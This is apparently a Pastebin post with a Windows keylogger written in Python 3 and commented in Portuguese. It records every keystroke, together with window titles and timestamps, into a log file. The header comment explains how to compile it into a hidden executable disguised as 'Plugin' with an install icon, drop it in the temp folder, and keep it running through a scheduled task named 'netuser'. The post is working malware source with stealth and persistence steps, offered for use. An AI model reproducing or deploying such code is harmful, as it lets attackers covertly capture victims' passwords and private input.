Advertisement
DarkProgrammer000

Keylogger [python3]

Sep 20th, 2019
609
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.84 KB | None | 0 0
  1. '''
  2. Python: 3
  3. Programa: Keylogger para windows
  4.  
  5. Biblioteca:
  6. 1) Site: https://www.lfd.uci.edu/~gohlke/pythonlibs/#pywinhook
  7. 2) pyHook‑1.5.1‑cp37‑cp37m‑win32.whl
  8. 3) pip install pyHook‑1.5.1‑cp37‑cp37m‑win32.whl
  9.  
  10. Compilador:
  11. 1) Download: pip install pyinstaller
  12. 2) Compilar: pyinstaller --clean -w -F Plugin.py -i install.ico
  13.  
  14. Estrategia:
  15. 1) Coloque o keylogger e o bacth na pasta temporaria cd/%temp% do windows
  16.  
  17.  
  18. Arquivo em Batch (abaixo):
  19. ----------------------------------------------------------------------------
  20. (
  21.    %temp%\Plugin.exe"
  22.  
  23. ) >> %temp%\netuser.bat
  24.  
  25. schtasks /create /sc minute /mo 1440 /tn "netuser" /tr "%temp%\netuser.bat"
  26. ----------------------------------------------------------------------------
  27.  
  28. '''
  29.  
  30. # Bibliotecas
  31. import pyHook
  32. import pythoncom
  33. from datetime import datetime
  34.  
  35. # Janela de controle
  36. janela_anterior = None
  37.  
  38. # Metodos
  39. def OnKeyboardEvent(event):
  40.     global janela_anterior
  41.  
  42.     # Abertura de arquivo
  43.     file = open("log.txt", "a")
  44.  
  45.     # Janela atual
  46.     janela_atual = ("WindowName: " + str(event.WindowName))
  47.  
  48.     # Estrutura de decisao
  49.     if janela_atual != janela_anterior:
  50.  
  51.         # Data e hora
  52.         data_e_hora_atuais = datetime.now()
  53.         data_e_hora_em_texto = data_e_hora_atuais.strftime("%d/%m/%Y %H:%M")
  54.  
  55.         # Janela anterior recebe a atual
  56.         janela_anterior = janela_atual
  57.  
  58.         # Escrita no arquivo
  59.         file.write("\n\n" + str(janela_atual) + "\n" + str(data_e_hora_em_texto) + "\n\n")
  60.         file.write("[" + str(event.Key).lower() + "]")
  61.  
  62.     else:
  63.         file.write("[" + str(event.Key).lower() + "]")
  64.  
  65.     return True
  66.  
  67.  
  68. # create a hook manager
  69. hm = pyHook.HookManager()
  70.  
  71. # watch for all mouse events
  72. hm.KeyDown = OnKeyboardEvent
  73.  
  74. # set the hook
  75. hm.HookKeyboard()
  76.  
  77. # wait forever
  78. pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement